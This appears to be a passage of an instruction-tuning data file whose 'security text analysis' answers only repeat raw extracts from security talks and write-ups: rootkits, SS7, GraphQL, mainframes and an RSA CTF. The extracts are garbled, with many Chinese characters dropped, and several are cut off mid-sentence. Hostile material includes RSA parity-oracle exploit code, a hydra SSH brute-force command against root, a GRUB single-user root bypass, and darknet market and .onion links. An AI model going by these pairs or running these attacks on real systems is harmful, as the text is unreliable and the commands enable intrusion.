企事业单位的相关专家成立了阵容强大的专家委员会共同策划了这 套网络空间安全技术丛书以下简称\"丛书\" 本套丛书力求做到规划清晰定位准确内容精良技术驱动全 面覆盖网络空间安全体系涉及的关键技术包括网络空间安全网络安 全系统安全应用安全业务安全和密码学等以技术应用讲解为 主理论知识讲解为辅做到\"理实\"结合 与此同时我们将持续关注网络空间安全前沿技术和最新成果不 断更新和拓展丛书选题力争使该丛书能够及时反映网络空间安全领域 的新方向新发展新技术和新应用以提升我国网络空间的防护能 力助力我国实现网络强国的总体目标 由于网络空间安全技术日新月异而且涉及的领域非常广泛本套 丛书在选题遴选及优化和书稿创作及编审过程中难免存在疏漏和不足 诚恳希望各位读者提出宝贵意见以利于丛书的不断精进 机械工业出版社 前言 对大多数IT技术人员来说API这个词并不陌生而对架构师研 发工程师安全工程师来说API则更是日常工作中接触并熟知的内 容从2008年国内API经济活跃伊始各个互联网企业纷纷构建自己的 API开放", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 威胁狩猎相关资源 ## 合集项目 - 威胁狩猎大合集 - https://blue.y1ng.org/0x2_threat_hunting - The ThreatHunting Project - https://github.com/ThreatHuntingProject/ThreatHunting - https://www.threathunting.net/ - The ThreatHunter-Playbook - https://github.com/OTRF/ThreatHunter-Playbook ## 相关工具 ### 暗网搜索工具 - 暗网搜索引擎dark searchhttps://darksearch.io/ - 暗网搜索引擎ahmiahttps://ahmia.fi/ - 暗网搜索工具iaca-darkweb-toolshttps://iaca-darkweb-tools.com/search-darkweb/ - 洋葱搜索引擎https://onionsearchengine.com/ - 洋葱站点搜索https://onionlandsearchengine.com/ - 暗网链接网页deepwebsiteslinkshttps://www.deepwebsiteslinks.com/ - 暗网社交媒体https://iaca-darkweb-tools.com/socialmedia/ - 暗网字典https://iaca-darkweb-tools.com/dictionary/ - 暗网调查工具TorBothttps://github.com/DedSecInside/TorBot - 暗网地图https://www.hyperiongray.com/ ### 暗网咨询信息 - 暗网每日简报https://www.hunch.ly/darkweb-osint/ - 暗网市场/新闻https://dnstats.net/ - TOR博客https://blog.torproject.org/tor-heart-onionshare - 暗网市场/论坛marketplaceshttps://iaca-darkweb-tools.com/marketplaces/ ### 暗网导航页 - [666] 暗网导航 - 表网https://onion666.com/ - [666] 暗网导航http://666666666tjjjeweu5iikuj7hkpke5phvdylcless7g4dn6vma2xxcad.onion/ ### TG频道搜索 - Telegram Search Enginehttps://xtea.io/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCableTap Wirelessly Tapping your Home Network Marc Newlin Bastille Networks marc@bastille.io @marcnewlin Logan Lamb Bastille Networks logan@bastille.io Christopher Grayson Web Sight chris@websight.io @_lavalamp Welcome to the LineCon after-party. Marc Newlin (@marcnewlin) Wireless Security Researcher @ Bastille Networks Christopher Grayson (@_lavalamp) Web development Academic researcher Haxin all the things Founder & Principal Engineer (Web Sight) Logan Lamb (Researcher @ Bastille Networks) What is CableTap? 26 CVEs ISP-provided wireless gateways and set-top boxes Multiple unauthenticated RCE attack chains Network vulnerabilities Wi-Fi vulnerabilities ZigBee RF4CE vulnerabilities Why does CableTap matter? Full compromise of affected devices Wide impact ISP vulnerabilities Vendor vulnerabilities RDK vulnerabilities (software stack used by many major ISPs) Attack chains affecting Comcast XFINITY devices have been patched Agenda 1. Background on RDK 2. RDK-based devices 3. Progression of research 4. Vulnerabilities 5. Disclosure process 6. Q&A Background on RDK Reference Development Kit (RDK) a standardized software stack with localization plugins created to accelerate the deployment of next-gen video products and services by multichannel video providers (MVPDs). Founded in 2012 Standardized software stack for modems, set top boxes, media devices https://rdkcentral.com/ Yay Open Source (?) Software! An open-source, community-driven project available at: https://code.rdkcentral.com/ But wait whats this WHOIS record? Ohhhh that sinking feeling in the pit of my stomach Yeah But Who Needs Patches Anyhoo Theres the open source version, then theres the versions deployed on deployed devices Lots of vulns patched in the open source repo Patches take months to deploy, no CVEs filed for, no disclosure to affected customers Still faster to deploy patches with RDK than non-standardized native stacks RCE, XSS, XSRF, you name it they got it RDK-Based Devices", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDemystifying Modern Windows Rootkits Bill Demirkapi Independent Security Researcher 1 Demystifying Modern Windows Rootkits Black Hat USA 2020 Who Am I? 18 years old Sophomore at the Rochester Institute of Technology Windows Internals Mostly self-taught (with guidance) Strong Game Hacking background 2 Demystifying Modern Windows Rootkits Black Hat USA 2020 What Is This Talk About? In this talk, well go over Loading a rootkit. Communicating with a rootkit. Abusing legitimate network communications. An example rootkit I wrote and the design choices behind it. Executing commands from kernel. Tricks to cover up the filesystem trace of your rootkit. Demystifying Modern Windows Rootkits Black Hat USA 2020 3 Introduction to Windows Rootkits Demystifying Modern Windows Rootkits Black Hat USA 2020 4 Windows Rootkits: An Overview Why would you want to use a rootkit? Kernel drivers have significant access to the machine. Same privilege level as a typical kernel anti-virus. Less mitigations and security solutions targeting kernel malware. Anti-Virus often have less visibility into operations performed by kernel drivers. Kernel drivers are often ignored by anti-virus. Demystifying Modern Windows Rootkits Black Hat USA 2020 5 Example: Treatment by Anti-Virus Anti-virus tends to treat kernel drivers with significant trust compared to user-mode applications. Demystifying Modern Windows Rootkits Black Hat USA 2020 6 Excerpt from Carbon Blacks Process/Thread Handle callbacks Excerpt from Malwarebytes Process/Thread Handle callbacks Loading a Rootkit Demystifying Modern Windows Rootkits Black Hat USA 2020 7 Abuse Legitimate Drivers There are a lot of vulnerable drivers. With some reversing knowledge, finding a 0-day in a driver can be trivial. Examples include Capcoms Anti-Cheat driver Intels NAL Driver Microsoft themselves! Demystifying Modern Windows Rootkits Black Hat USA 2020 8 Abuse Legitimate Drivers Using legitimate drivers has quite a few benefits too", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# RSA 复杂题目 ## 2018 Tokyo Western Mixed Cipher 题目给的信息如下所示 - 每次交互可以维持的时间长度约为 5 分钟 - 每次交互中中n是确定的 1024 bit但是未知 e 为 65537 - 使用 aes 加密了 flag密钥和 IV 均不知道 - 每次密钥是固定的但是 IV 每次都会随机 - 可以使用 encrypt 功能随意使用 rsa 和 aes 进行加密其中每次加密都会对 aes 的 iv 进行随机 - 可以使用 decrypt 对随意的密文进行解密但是只能知道最后一个字节是什么 - 可以使用 print_flag 获取 flag 密文 - 可以使用 print_key 获取 rsa 加密的 aes 密钥 本题目看似一个题目实则是 3 个题目需要分步骤解决在此之前我們準備好交互的函數 ```python def get_enc_key(io): io.read_until(\"4: get encrypted keyn\") io.writeline(\"4\") io.read_until(\"here is encrypted key :)n\") c=int(io.readline()[:-1],16) return c def encrypt_io(io,p): io.read_until(\"4: get encrypted keyn\") io.writeline(\"1\") io.read_until(\"input plain text: \") io.writeline(p) io.read_until(\"RSA: \") rsa_c=int(io.readline()[:-1],16) io.read_until(\"AES: \") aes_c=io.readline()[:-1].decode(\"hex\") return rsa_c,aes_c def decrypt_io(io,c): io.read_until(\"4: get encrypted keyn\") io.writeline(\"2\") io.read_until(\"input hexencoded cipher text: \") io.writeline(long_to_bytes(c).encode(\"hex\")) io.read_until(\"RSA: \") return io.read_line()[:-1].decode(\"hex\") ``` ### GCD attack n 第一步我们需要把没有给出的 n 算出来因为我们可以利用 encrypt 功能对我们输入的明文 x 进行 rsa 加密那么可以利用整除的性质算 n ```python 因为x e = c mod n 所以 n | x e - c ``` 我们可以构造足够多的 x算出最够多的 x e - c从而计算最大公约数得到 n ``` def get_n(io): rsa_c,aes_c=encrypt_io(io,long_to_bytes(2)) n=pow(2,65537)-rsa_c for i in range(3,6): rsa_c, aes_c = encrypt_io(io, long_to_bytes(i)) n=primefac.gcd(n,pow(i,65537)-rsa_c) return n ``` 可以利用加密进行 check ```python def check_n(io,n): rsa_c, aes_c = encrypt_io(io, \"123\") if pow(bytes_to_long(\"123\"), e, n)==rsa_c: return True else: return False ``` ### RSA parity oracle 利用 leak 的的最后一个字节我们可以进行选择密文攻击使用 RSA parity oracle 回复 aes 的秘钥 ```python def guess_m(io,n,c): k=1 lb=0 ub=n while ub!=lb: print lb,ub tmp = c * gmpy2.powmod(2, k*e, n) % n if ord(decrypt_io(io,tmp)[-1])%2==1: lb = (lb + ub) / 2 else: ub = (lb + ub) / 2 k+=1 print ub,len(long_to_bytes(ub)) return ub ``` ### PRNG Predict 这里我们可以解密 flag 的16字节之后的内容了但是前16个字节没有 IV 是解密不了的这时我们可以发现IV 生成使用的随机数使用了 g", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n关于Xdebug3的一些记录 因为周末升级了下phpstorm发现最新版的phpstorm支持的是xdebug3所以记录了一下调试 xdebug3的一些东西 环境 windows phpstorm 2020.3 xdebug3 配置 1. 去xdebug官网下载对应的版本https://xdebug.org/download并把dll文件复制到php的ext文 件夹下 2. 接着在php.ini下添加以下配置 这里就是一个踩坑点以上是xdebug3的配置语法因为xdebug3和xdebug2配置的语法有改进并且 默认端口从9000变成了9003网上大多都是xdebug2的配置 如果按xdebug2的配置的话会报错 其他xdebug的语法更新配置可以查看更新文档https://xdebug.org/docs/upgrade_guide [Xdebug] xdebug.idekey = PHPSTORM zend_extension = \"E:\\phpstudy_pro\\Extensions\\php\\php7.3.4nts\\ext\\php_xdebug- 3.0.1-7.3-vc15-nts-x86_64.dll\" xdebug.remote_handler = \"dbgp\" xdebug.mode = debug xdebug.client_host = localhost xdebug.client_port = 9003 [Xdebug] xdebug.idekey = PHPSTORM zend_extension = \"E:\\phpstudy_pro\\Extensions\\php\\php7.3.4nts\\ext\\php_xdebug- 3.0.1-7.3-vc15-nts-x86_64.dll\" xdebug.remote_enable = on xdebug.remote_host = localhost xdebug.remote_post = 9000 Xdebug: [Config] The setting 'xdebug.remote_enable' has been renamed, see the upgrading guide at https://xdebug.org/docs/upgrade_guide Xdebug: [Config] The setting 'xdebug.remote_host' has been renamed, see the upgrading guide at https://xdebug.org/docs/upgrade_guide Xdebug: [Config] The setting 'xdebug.remote_mode' has been renamed, see the upgrading guide at https://xdebug.org/docs/upgrade_guide Xdebug: [Config] The setting 'xdebug.remote_port' has been renamed, see the upgrading guide at https://xdebug.org/docs/upgrade_guide 3. phpstorm中的配置 配置php 配置debug可以看到监听端口更新为了9003 配置Servers 配置configurations 4. 需要安装的浏览器插件我用的chrome Xdebug helper JetBrains IDE Support 到这里就算配置完了不过我当时遇到些问题启动的时候又报错了 Cannot accept external Xdebug connection $_SERVER[\"SERVER_NAME\"] is empty, it may be caused by web server misconfiguration. Nginx: add fastcgi parameter to nginx configuration, more Apache: configure ServerName for current VirtualHost, more 这里又是一个踩坑点找了好久网上都没有具体的解决方案都是说回滚版本到phpstorm2020.1且不 用xdebug3 后来终于找到个解决方法https://recordit.co/J1PMoHobSR 添加一个系统变量PHP_IDE_CONFIG变量值为 serverName=上面配置servers中的name 成功", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nUser Privacy for ISPs and Accidental ISPs For latest version, please see http://www.eff.org/ User Privacy for ISPs and Accidental ISPs. The Digital Millennium Copyright Act gives people who claim to own copyrights tremendous power to invade the privacy of Internet users. With only a clerks stamp on a form, almost anyone can demand that an Internet service provider reveal its users personal information if the ISP has that information. If youre served with a subpoena, as the RIAA showed Verizon in court, you dont get to choose whether or not to respond. This means your data is at the mercy of not just record companies seeking out music swappers, but also private detectives, spammers, and cranks of all kinds who might demand users names and addresses.1 Whether youre a big ISP or dorm-room sysadmin, you can preserve your users privacy best by not keeping any logs containing that information or connecting them to online activity in the first place you cant be made to disclose information you dont have. If you are not in business as an ISP, but are providing network connectivity for example, offering wired or wireless access to library patrons, visitors at a café, or friends and neighbors in a residence you may still be the target of one of these information demands. But as a non-commercial ISP, youve probably got no good reason to keep this info in the first place. In fact, you may want to become an accidental ISP in order to provide some additional privacy for people downstream from your router. Changing the way that you keep records and connect your users in simple ways can help you limit the legal hassles youll face as a non-commercial ISP. Computers are uniquely identified on their networks by IP address.2 To protect privacy, network administrators can opt to assign pools of IP addresses dynamically, rotating a fixed number of addresses randomly among a group of users, then delete assignment logs promptly to protect the privacy of users. EFF is not aware of any l", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking the Smart Grid Tony Flick FYRM Associates tony.flick@fyrmassociates.com Abstract The city of Miami and several commercial partners plan to rollout a smart grid citywide electrical infrastructure by the year 2011. This rollout was announced on the heels of news that foreign agents have infiltrated our existing electrical infrastructure and that recent penetration tests have uncovered numerous vulnerabilities in the proposed technologies. Simultaneously, the National Institute for Standards in Technology (NIST) has recently released a roadmap for producing smart grid standards. In this whitepaper, I will discuss the flaws with the current guidelines and map them to the criticisms of similar regulatory mandates, including the Payment Card Industry Data Security Standard (PCI DSS), that rely heavily on organizations policing themselves. What is the Smart Grid? The smart grid provides electricity from suppliers to consumers using digital technology. The proposed technology will allow suppliers to remotely monitor consumer usage as well as implement variable rates that increase and decrease during peak energy use times. Additionally, consumers will be able to monitor their energy use in real time, which could allow them to save money by conserving energy during peak energy use times. The major goals of the smart grid initiative are to increase efficiency, reliability, and safety of the countrys electrical infrastructure. Security Initiatives Every security-related document regarding the smart grid discusses and requires security to be integrated into the smart grid from the very beginning. This is a significant improvement over previous technology initiatives and shows that organizations and elected officials are beginning to understand at some level how to manage security in projects. The Energy Independence and Security Act of 2007 provided the Department of Energy with the responsibility of developing the smart grid program. The Department of Energy then assign", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWAVESTONE 1 Ayoub ELAASSAL ayoub.elaassal@wavestone.com @ayoul3__ Dealing the perfect hand Shuffling memory blocks on z/OS WAVESTONE 2 What people think of when I talk about mainframes WAVESTONE 3 The reality: IBM zEC 13 technical specs: 10 TB of RAM 141 processors,5 GHz Dedicated processors for JAVA, XML and UNIX Cryptographic chips Badass Badass Badass !! So whatwho uses those anymore ? WAVESTONE https://mainframesproject.tumblr.com 6 WAVESTONE 7 About me Pentester at Wavestone, mainly hacking Windows and Unix stuff First got my hands on a mainframe in 2014Hooked ever since When not hacking stuff: Metal and wine github.com/ayoul3 ayoul3__ WAVESTONE 8 This talk Why we should care about mainframes Quick recap on how to execute code on z/OS Playing with z/OS memory layout WAVESTONE 9 Quick recap on how to execute code on z/OS Sniffing credentials Good ol bruteforce Go through the middleware And many more (FTP, NJE, etc.) Check out Phil & Chads talks ! WAVESTONE 10 The wonders of TN3270 The main protocole to interact with a Mainframe is called TN3270 TN3270 is simply a rebranded Telnet Clear text by default X3270 emulator if you dont have the real thing WAVESTONE 11 The wonders of TN3270 WAVESTONE 12 Damn EBCDIC WAVESTONE 13 Ettercap dissector by @Mainframed767 [DEMO ETTERCAP] WAVESTONE 14 Quick recap on how to execute code on z/OS Sniffing credentials Good ol bruteforce Go through the middleware And many more (FTP, NJE, etc.) Check out Phil & Chads talks ! WAVESTONE 15 Time Sharing Option (TSO) Tsk tsk tsk too friendly! TSO is the /bin/bash on z/OS WAVESTONE 16 Bruteforce Nmap script by @Mainframed767 WAVESTONE 17 Bruteforce is still surprisingly effective Passwords derived from login Windows : 5% Mainframe : 27% WAVESTONE 18 Quick recap on how to execute code on z/OS Sniffing credentials Good ol bruteforce Go through the middleware And many more (FTP, NJE, etc.) Check out Phil & Chads talks ! WAVESTONE 19 WAVESTONE 20 WAVESTONE 21 WAVESTONE ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nProtecting Against and Investigating Insider Threats A methodical, multi-pronged approach to protecting your organization Antonio A. Rucci Program Director Technical Intelligence and Security Programs Global Initiatives Directorate Oak Ridge National Laboratory Oak Ridge, TN 37831 AGENDA A methodical, multi-pronged approach to protecting your organization Key indicators of an insider threat and how to detect them Specific hiring practices to minimize your risk Security awareness training and education to thwart opportunistic individuals Recent case studies that illustrate the key indicators and how to protect against them www.ornl.gov AGENDA A methodical, multi-pronged approach to protecting your organization Key indicators of an insider threat and how to detect them Specific hiring practices to minimize your risk Security awareness training and education to thwart opportunistic individuals Recent case studies that illustrate the key indicators and how to protect against them Who Are The Insiders? Employees Former Employees Contractors Consultants Suppliers Visitors Collaborators User facilities University faculty Industry Pre-conditions Motive or need to be satisfied through the crime Ability to Overcome Inhibitions: Moral values Fear of being caught Loyalty to employer or co-workers Risk-Taking Behaviors Trigger that sets the betrayal in motion Opportunity to commit the crime Poor and/or lax security practices Motive Financial Anger Excitement Divided loyalties Arrogance The BIG 3: - Greed - Disgruntlement - Revenge Moral Values Ethical Values Loyalty Fear Rationalization Ability to Overcome Inhibitions Trigger Personal or professional event Stress pushes individual to the breaking point React negatively, and criminally Emotionally stable/well adjusted React to stress in a positive manner At least 1/4 of American spies experienced a personal life crisis in the months preceding an espionage attempt. 1. Proving that the Ven", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n攻击GraphQL phith0n 什么是 GraphQL ? { REST } 进化 GraphQL 一个为API通信设计的查询语言 描述你的数据 type Project { name: String tagline: String contributors: [User] } 请求你要的数据 { project(name: \"GraphQL\") { tagline } } 获得可预测的结果 { \"project\": { \"tagline\": \"A query language for APIs\" } } type Project { name: String tagline: String contributors: [User] } { project(name: \"GraphQL\") { tagline } } { \"project\": { \"tagline\": \"A query language for APIs\" } } ObjectType Field Arguments Query or Mutation ObjectType: 类似于高级语言中的类定义了一个完整的结构 Field: 字段类似于高级语言中的属性 Arguments: 作为参数传入Query或Mutation Query or Mutation: 特殊的Type分别代表查询和更改语句省略则表示Query GraphQL SQL 后端 数据库 前端 后端 SELECT * FROM table ... query OperatorName { ... UPDATE table SET ... mutation OperatorName { ... 一门用于关系型数据库的查询语言 一门用于与API通信的查询语言 管理工具NavicatPHPMyAdmin... 管理工具GraphiQL GraphQL是一门自带文档的技术 利用内省即可列出列出 GraphQL中所有QueryMutationObjectTypeFieldArguments Risk 1. 敏感信息泄露与越权 POST /graphql HTTP/1.1 Host: graphqlapp.herokuapp.com Content-Type: application/json {\"query\": \"\\n query IntrospectionQuery {\\n __schema {\\n queryType { name }\\n mutationType { name }\\n ...\"} HTTP/1.1 200 OK Content-Type: application/json { \"data\": { \"__schema\": { \"queryType\": { \"name\": \"Query\" ... 自动生成文档 https://github.com/2fd/graphdoc Github APIv4 文档 Risk 1. 敏感信息泄露与越权 在objects.types中寻找敏感信息 email password secretKey token licenseKey session 多多关注废弃的字段deprecated fields Risk 1. 敏感信息泄露与越权 绕过Query权限控制 直接请求敏感信息 从关联数据集ForeignKey中获取敏感信息 绕过Mutation权限控制 根据ArgumentsInputObjectType自动化Fuzz所有Mutation 思考 和挖掘传统RESTful API敏感信息泄露漏洞有何区 别 Risk 1. 敏感信息泄露与越权 Hackerone为API设计的权限控制层 THE $30,000 GEM: PART 1 对象属性均有权限控制不同用户组看到的结果不同 没有权限控制的内容 对象数量 从未控制权限的内容入手 The request tells the number of private programs, the new system of authorization /invite/token Team object in GraphQL disclosed total number of whitelisted hackers 案例hackerone 一系列信息泄露漏洞 案例hackerone 一系列信息泄露漏洞 { team(handle: \"security\") { id name handle whitelisted_hackers { edges { cursor } total_count } } } { \"data\": { \"team\": { \"id\": \"Z2lkOi8v", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRadio Exploitation 101 Characterizing, Contextualizing, and Applying Wireless Attack Methods Matt Knight Bastille Networks San Francisco, CA matt@bastille.net Marc Newlin Bastille Networks Atlanta, GA marc@bastille.net AbstractReverse engineering wireless physical layers has never been easier, thanks to the commoditization of Software Defined Radio (SDR) technology and an active open source community. However, the successful application of SDR to security challenges requires extensive domain knowledge and insight into radio frequency fundamentals. The goal of this paper, and accompanying presentation, is to highlight how wireless network exploitation is both similar to, and distinct from wired, network exploitation, and to offer techniques that will aid security researchers in thinking creatively about wireless reverse engineering and exploit development. Index Termswireless, security, reverse engineering, software defined radio, radio frequency, internet of things, mobile I. INTRODUCTION The growth of mobile and Internet of Things (IoT) technologies has reshaped the computing landscape as we know it. Devices are made to be smart (smart[phones cars refridgerators etc.]) by upgrading them with embedded computers. By bolting on processing and network connectivity, they are exposed to other devices on networks, which can be as small as comprising only two devices or as broad as the open Internet. This introduces an expansive new attack surface to a hypothetical security model. II. THE EVOLUTION OF NETWORK EXPLOITATION Recent years have seen a flood of novel wireless exploits, with exploitation moving beyond 802.11 and into more ob- scure standard and proprietary wireless protocols. This can be attributed to the proliferation and commoditization of technologies that provide promiscuous access to the physical layer of the communication stack. For context, we will briefly discuss the evolution of network exploitation. A. Network Abstraction Models Network abstraction model", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAttacks you cant combat: Vulnerabilities of most robust mobile operators Sergey Puzankov About me Telecom 7+ years in telecom security 18+ years in telecom industry Security Knowledge sharing Research results & community contribution @xigins sergey_puzankov spuzankov@ptsecurity.com SS7 basics SS7 (Signaling System No. 7) is a set of telephony protocols used to set up and tear down telephone calls, send and receive SMS messages, provide subscriber mobility, and more. Ø Fixed telephony Ø 2G/3G mobile networks Ø Interconnection with next- generation networks Who are potential targets? GSMA Intelligence 2018, Mobile connections by technology https://www.gsmaintelligence.com/research/2018/02/infographic-mobile-connections-by-technology/656/ 5 Now what can a Hacker do? Easily From anywhere Any mobile operator No special skills needed Get access to your email and social media Track location of VIPs and public figures Perform massive denial of service attacks Intercept private data, calls and SMS messages Steal money Take control of your digital identity History of signaling security SS7 development Trusted environment. No security mechanisms in the protocol stack. SIGTRAN (SS7 over IP) introduced. Security is still missing. Scope grows Growing number of SS7 connections, increasing amount of SS7 traffic. No security policies or restrictions. Not trusted anymore Huge number of MNOs, MVNOs, and VAS providers. SS7 widely used, Diameter added and spreading. Still not enough security. Mobile operators and SS7 security Security assessment Signaling IDS SMS Home Routing Security configuration SS7 firewall Basic nodes and identifiers HLR Home Location Register MSC/VLR Mobile Switching Center and Visited Location Register SMS-C SMS Centre MSISDN Mobile Subscriber Integrated Services Digital Number IMSI International Mobile Subscriber Identity STP Signaling Transfer Point GT Global Title, address of a core node element SS7 protocol stack SCCP TCAP MAP Signaling Connection Con", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 从次实战聊聊获取源代码的姿势 Liquid Files LxLL 般思路 LxLN 试 LxLO 柳暗花明 LxLP 单户模式 LxLQ 后台鸡肋命令执低权限 EXP 进c神的圈也挺久还没有发过帖于是借最近的个案例来聊聊实战中获取源码的些姿势 也是前段时间某次闭分享的素材 hope you guys enjoy it~ Liquid Files是国外的款盘官https://www.liquidfiles.com/ Liquid Files 2 是收费的套系统外得多 咱们今天就来试试获取这套系统的源代码并进前期的攻击评估初步的代码审计 正如我在章记次Java Servlet实战审计 - 先知社区中说的那样获取系统的源代码主要可以从 个度来考虑 1. 同类站扫录 a. 上Fofa搜索同类系统 b. 导出资产列表 c. 录扫描具体操作起来就是使 dirbuster 的字典 directory-list-2.3- medium.txt 来扫具就随便个顺的 dirseach ps它的字典 dicc.txt 也好 结论因为本身这玩意的发布形式都是镜像统部署的当然不会有备份件了果 2. 盘泄露这套系统并不开源般国内的家发版的时候为图便都会放了些在盘简单 搜就知道有结果 结论家家本身有官没必要传盘麻烦果 3. Githubgitlab泄露搜了下您看看这像源码么 0x00 般思路 3 结论果 也不绕弯了但凡看过官就知道这公司很耿直直接提供了试...... 这也正是本主要想介绍的技巧利家的安装镜像获取源代码 那么我们直接注册试登录注册进到下载界... 0x01 试 4 舒舒服服的随便下哪个都安上跑起来 填写 License Key 5 安装信息填好部署在内直接开冲 在系统玩耍番后发现System下有个功能叫Console喜点进去看nmd试 License法使Console 6 可家并不希望试户拿到root权限......此时获取源码像是陷了僵局 不过且让我们来整理整理上的信息 1. 端只开了80443222连ssh端都没开..... 2. 不对默认不放开ssh的话那系统旦出问题了连也连不上岂不是直接烂在不合适 吧因此感觉不怎么可能关闭ssh 3. 仔细看噢原来这个222就是ssh的端 4. 好的现在知道ssh开放了但是root密码呢翻了翻档没找到 5. 于是爆破 top10k rockyou.txt 给爷猛冲 0x02 柳暗花明 Ruby 复制代码 Ruby 复制代码 Ruby 复制代码 80/tcp open http 222/tcp open rsh-spx 443/tcp open https 1 2 3 PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 7.4 (protocol 2.0) MAC Address: 00:0C:29:4C:C9:82 (VMware) 1 2 3 hydra -t 4 -l root -P rockyou-15.txt -s 222 ssh://10.10.111.6 1 7 全部出错不让我爆破 不让爆破那咋办这镜像安在我的电脑上就是我的了爆破下居然还要被拒之外 7. 突然想到这套系统安装在VM中相当于我可以物理接触它再联想下Windows不是开 机的时候可以通过进安全模式来恢复密码吗Linux应该也有这种模式吧 于是有了这第三节 下的内容参考http://c.biancheng.net/view/1041.html 0x03 单户模式 很多新当对忘记 root 账户密码导致法登陆系统这个问题时直接选择重新系统其实 可不必我只需要进 emergency mode单户模式更新 root 账户的密码即可 8 如何进单户模式 现在我们假设系统出现了问题已经不能正常登录了那么如何进单户模式呢先需要重启 服务器在 GRUB 读秒界按任意键进 GRUB 菜单界如图所示 在想要进单户模式的 Linux 菜单上按\"e\"键就会进 GRUB 编辑界如下图所示 找到 linux /boot/vmlinuz-* 那江湖上传闻有两种常的操作式 1. 我常在最后添加 init=/bin/bash 然后按 ctrl+x 或者 F10 继续grub引导此后的 户即为root户可以在其中随意更改root户的账号密码 2. 没试过将它的ro recovery nomodestset及之后的东替换为 rw single init=/bin/bash 然后按 ctrl+x或者F10 进单户模式 Linux 的单户模式有些类似 Windows 的安全模式只启动最少的程序于系统修复在单户 模式运级别为 1中Linux 引导进根 Shell络被禁只有少数进程运 9 总之虽然单户模式下没", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLego My Stego Lego My Stego Steganography Steganography in the post Web 2.0 World in the post Web 2.0 World James Shewmaker 2008 James Shewmaker 2008 Defcon 0x10 Defcon 0x10 Todays Agenda Todays Agenda Todays Agenda Todays Agenda Background: Classical Stego Background: Classical Stego Digital Stego Techniques Digital Stego Techniques Extending Stego concepts Extending Stego concepts Surviving Conversion Surviving Conversion Post-Mortem Conversion Detection Post-Mortem Conversion Detection Classic Stego Classic Stego Old School Spy vs. Spy Old School Spy vs. Spy Classified Ads Classified Ads Microdot Microdot Digital Stego - Any media file that samples Digital Stego - Any media file that samples reality can have its Least Significant Bit reality can have its Least Significant Bit (LSB) tweaked with minor disruptions (LSB) tweaked with minor disruptions Classic Digital Stego Classic Digital Stego Classic Digital Stego Classic Digital Stego Manipulating that Least Significant Bit Manipulating that Least Significant Bit Using unused space in a host file Using unused space in a host file Examples Examples Digital audio fairly subtle Digital audio fairly subtle Even magnitude == zero Even magnitude == zero Odd magnitude == one Odd magnitude == one Digital image also fairly subtle Digital image also fairly subtle Even LSB of a pixel == zero Even LSB of a pixel == zero Odd LSB of a pixel == one Odd LSB of a pixel == one Distributed Stego Distributed Stego Many public video sites converted to flash video Many public video sites converted to flash video (FLV) (FLV) Take your favorite viral marketing video Take your favorite viral marketing video Encode to FLV before you upload Encode to FLV before you upload Store data with LSB stego using each frame/tag/box Store data with LSB stego using each frame/tag/box (GIF/PNG/JPEG, etc.) (GIF/PNG/JPEG, etc.) Store parity bit with each audio sample Store parity bit with each audio sample Classic/Simple ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nKeeping Secret Secrets Secret Keeping Secret Secrets Secret and and Sharing Secret Secrets Secretly Sharing Secret Secrets Secretly Vic Vandal Vic Vandal vvandal@well.com vvandal@well.com DefCon DefCon-XVI / 2008 -XVI / 2008 Vics Usual Disclaimer Dont do anything illegal. If you do anything illegal, dont get caught. I take no personal responsibility for the subsequent illegal use of any information provided here by anyone. I dont condone/support espionage, treason, child porn, terrorism, or general stupidity. I may take more liberal views on some of the other usage examples herein. I own my own words, which means I may legally challenge any use or duplication of them for which I have not provided explicit permission. Any duplication of this presentation must include this slide. Stego Stego Files Link Files Link (for later in the presentation) (for later in the presentation) http://www.well.com/~sthomas/.Secret-Page.html Introduction What is a secret? DUH!anything secret, keys to important items, secret plans/designs/code, sensitive info/items, etc. Why protect secrets? Because SECRET = SECRET (see Websters definition for more on that secret formula, cough) Why share secrets? Secrecy Fault-tolerance Profit Fun Chaffing and Winnowing Chaffing and Winnowing What Is It? Winnowing -- separating out or eliminating the chaff Chaffing -- adding chaff to a collection By a sender strategically adding chaff to a message, it becomes garbled/hidden By the receiver correctly winnowing out the chaff, they can retrieve the original message How Its Done 1. Authenticate each packet of message with a shared authentication key 2. Append a Message Authentication Code (MAC) to each packet 3. After authentication, add chaff packets with bad MACs to the message stream MACs are added to message packets by calculating the MAC value and appending the fixed length MAC to each corresponding packet Authentication Key Authentication key used to calculate MACs is shared by sen", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCobaltStrike 0x00 C2 @L.N TeamServerCS TeamServer CobaltStrike 4.3 DoS C2 0x01 + 1. teamserver 50050 java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=55555 -Dcobaltstrike.ser ver_bindto=0.0.0.0 